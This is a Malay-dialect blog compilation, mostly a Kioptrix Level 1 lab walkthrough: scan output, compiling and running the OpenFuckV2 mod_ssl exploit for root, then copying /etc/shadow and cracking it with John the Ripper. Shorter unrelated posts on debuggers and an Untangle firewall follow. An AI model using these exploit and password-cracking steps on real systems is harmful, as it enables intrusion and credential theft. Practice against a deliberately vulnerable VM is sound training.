Salam semuo. Ari ni den buek post pasal Kioptrix. Kioptrix ni adolah image linux yang vulnerable. Dengan bahaso mudah eh, image yang dibina khusus untuk di 'hack'.

Korang boleh la cubo download image ni di : http://www.kioptrix.com/dlvm/Kioptrix_Level_1.rar

Tanpa membuang maso, kito mulokan aktiviti mengeroot Kioptrix ni. Hehehe. Ok..mulo-mulo kito runkan image ni melalui VMWare. Image ini akan dapat ip secara dhcp.

Ok, ni paparan Kioptrix. Memang maklumat username dan password tak diberikan. So macam mano nak masuk? hehehe.. hack la bai.. :P



Ok, kito upkan image backtrack pulak. Image ni bertindak sebagai attacker/hacker. Jadi kito akan mula mengehack server Kioptrix ni. Macam mano nak tahu ip si Kioptrix ni? Sonang yo.. kito gunakan nbtscan dan buek sweep scan ikut range ip kito. Kalau nengok gambar kek bawah ni kito dah dapek ip bagi server Kioptrix ni.

<br>nbtscan x.x.x.x-x<br>


Hehe.. dah dapek ip eh.. apo laie nak buek? Kito buek la port scan. Den gunokan nmap. Dan kito cubo analisa result yang kito dapek.
<br>nmap -sS -sV 10.x.x.52<br>
<br># Nmap 5.51 scan initiated Mon Jul 11 02:37:27 2011 as: nmap -sS -sV -oN kioptrix.txt 10.x.x.52<br>Nmap scan report for 10.x.x.52<br>Host is up (0.033s latency).<br>Not shown: 994 closed ports<br>PORT STATE SERVICE VERSION<br>22/tcp open ssh OpenSSH 2.9p2 (protocol 1.99)<br>80/tcp open http Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)<br>111/tcp open rpcbind 2 (rpc #100000)<br>139/tcp open netbios-ssn Samba smbd (workgroup: MYGROUP)<br>443/tcp open ssl/http Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)<br>1024/tcp open status 1 (rpc #100024)<br>MAC Address: 00:0C:29:3C:91:B3 (VMware)<br>
Hmm.. ada apache running. Version lama lak tu 1.3.20. Kito cubo scan gunokan nikto. Dan kito analisa result eh.
<br>./nikto.pl -host 10.x.x.52 -output kioptrix_80.txt<br>

<br>- Nikto v2.1.4/2.1.5<br>+ Target Host: 10.x.x.52<br>+ Target Port: 80<br>+ GET /: ETag header found on server, inode: 34821, size: 2890, mtime: 0x3b96e9ae<br>- Nikto v2.1.4/2.1.5<br>+ Target Host: 10.x.x.52<br>+ Target Port: 80<br>+ GET /: ETag header found on server, inode: 34821, size: 2890, mtime: 0x3b96e9ae<br>+ OSVDB-27487: GET /: Apache is vulnerable to XSS via the Expect header<br>+ HEAD /: Apache/1.3.20 appears to be outdated (current is at least Apache/2.2.17). Apache 1.3.42 (final release) and 2.0.64 are also current.<br>+ HEAD /: mod_ssl/2.8.4 appears to be outdated (current is at least 2.8.31) (may depend on server version)<br>+ HEAD /: OpenSSL/0.9.6b appears to be outdated (current is at least 1.0.0d). OpenSSL 0.9.8r is also current.<br>+ GET /: Allowed HTTP Methods: GET, HEAD, OPTIONS, TRACE<br>+ OSVDB-877: GET /: HTTP TRACE method is active, suggesting the host is vulnerable to XST<br>+ OSVDB-838: GET /: Apache/1.3.20 - Apache 1.x up 1.2.34 are vulnerable to a remote DoS and possible code execution. CAN-2002-0392.<br>+ OSVDB-4552: GET /: Apache/1.3.20 - Apache 1.3 below 1.3.27 are vulnerable to a local buffer overflow which allows attackers to kill any process on the system. CAN-2002-0839.<br>+ OSVDB-2733: GET /: Apache/1.3.20 - Apache 1.3 below 1.3.29 are vulnerable to overflows in mod_rewrite and mod_cgi. CAN-2003-0542.<br>+ GET /: mod_ssl/2.8.4 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell (difficult to exploit). CVE-2002-0082, OSVDB-756.<br>+ OSVDB-682: GET /usage/: /usage/: Webalizer may be installed. Versions lower than 2.01-09 vulnerable to Cross Site Scripting (XSS). CA-2000-02.<br>+ OSVDB-3268: GET /manual/: /manual/: Directory indexing found.<br>+ OSVDB-3092: GET /manual/: /manual/: Web server manual found.<br>+ OSVDB-3268: GET /icons/: /icons/: Directory indexing found.<br>+ OSVDB-3233: GET /icons/README: /icons/README: Apache default file found.<br>+ OSVDB-3092: GET /test.php: /test.php: This might be interesting...<br>
Hmm.. poning gak nak baco kan? Hehehe.. kito guno niktorat untuk proses output file ni dan kito cubo analisa. Kito bulih donload niktorat ni kek sini : http://sourceforge.net/projects/niktorat/files/
<br>./niktorat kioptrix_80.txt kioptrix_80<br>


Hmm.. kito hanyo tertarik pado vulnerabilty remote exploit. Kito cubo cari exploit yang berkaitan berdasarkan CVE Number (CVE-2002-0082)
+ GET /: mod_ssl/2.8.4 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell (difficult to exploit). CVE-2002-0082, OSVDB-756. Hmm.. kito akan gunokan OpenFuckV2.c untuk exploit kelemahan ni.

Ok.. bilo kito compile OpenFuckV2.c ni, kito akan dapek banyak error berkenaan dengan openssl rc4 dan md5. Kito tambah include file macam kek bawah ni dalam code dio.
<br>#include <openssl h=""><br>#include <openssl h=""><br>
Compilekan code OpenFuckV2.c dengan menggunokan command kek bawah ni. (Kalau ado error pasal xjumpo include file bagi ssl, pastikan install libssl-dev)
<br>gcc -o OpenFuckV2 OpenFuckV2.c -lcrypto<br>
Runkan exploit korang dengan command kek bawah ni :
<br>./OpenFuckV2 0x6b 10.x.x.52 443<br>


Hehehe.. kito dapek r00t privillege.



Kito cubo crack password untuk server Kioptrix ni yo. Copy file /etc/passwd dan /etc/shadow dio.



Lopeh dah copy fail /etc/passwd dan /etc/shadow server Kioptrix ni. Kito cubo crack gunokan John The Ripper. Ikut command kek bawah ni. Tunggu lah sampai proses cracking solosai. Hehehe..
<br>./unshadow /pentest/gh1mau/passwd.txt /pentest/gh1mau/shadow.txt > kioptrix.db<br>john kioptrix.db<br>john -show kioptrix.db<br>
Solosai.. Heheheh.. nanti ado maso den buek posting pasal Kioptrix Level 2 pulak yo. Happy Hacking dari pokcik ghimau :)

Tanpa membuang masa kita sambung balik yo.

Debuggers

Debugger adalah program yang digunakan untuk mencari ralat atau bugs dalam sesuatu program. Debugger membolehkan programmer menghentikan sementara sesuatu program pada mana-mana point dan memeriksa atau mengubah value bagi sebarang variables.

Disassemblers

Disassembler adalah satu program komputer yang mengubah bahaso mesin kepado assembly language. Disassembler merupakan satu tool yang sangat penting dalam proses reverse engineeering.

Sekian dulu.. timo kasih. Assalamualaikum.. Hehehe..

Salam semuo.. lamo dah den tak update menatang blog ni. Bukan apo, macam biasolah kan.. sibuk menguruskan hal rumah tanggo. Hehehe.. suami mithali la katokan.. :)

Post kali den nak kongsi tentang untangle. Untangle ni merupokan satu software UTM yang bermaksud, ado firewall, web filter, ips, attack blocker dan macam-macam laie la function eh. Kalau korang nak tau lobih lanjut, leh lawat laman web untangle ni. www.untangle.com

OK.. skang ni den nak kongsi satu design network yang biaso di implement kek kebanyakan organisasi.



Kalau kito nengok diagram tu, kito akan nampak beberapo kelemahan atau loophole. Firewall utama, selepas ISP router tu bertindak sebagai First Layer defence, dio akan berfungsi untuk block attack dari luar. Skang ni cubo kito lihat satu senario, Internal user akan mengakases server dari attacker (Step 1). Selepas connection berjayo dibuek, attacker akan reply balik kepado internal user (Step 2). Ni perkaro biaso yang berlaku bilo kito akses sesuatu di internet. Internal user akan connect balik server attacker, sebab internal user sudah di infect menjadi zombie (Step3). Attacker akan memberi arahan tertentu melalui zombie eh (Internal user) untuk dapekkan maklumat atau exploit server-server internal. Ni bulih di lihat dalam Step 4 dan Step 5.

Untuk mengelakkan dan mengosan masalah ni, kito lotak untangle seperti gambar kek bawah.



Bilo kito setkan untangle dalam bridge mode, sekironya kito ado multiple vlan di belakang untangle kito kono setkan static route supayo untangle leh pass traffic.

Contoh eh macam ni, katokan belakang core switch kito ado beberapa vlan:
vlanA : 10.50.10.1
VlanB : 10.50.11.1
VlanC : 10.50.12.1

Kito setkan static route dalam untangle macam ni
target : 10.50.0.0
netmask : 255.255.0.0
gateway : ip_gateway

Nilah paparan untange in action. Hehehe. Selamat mencubo. :)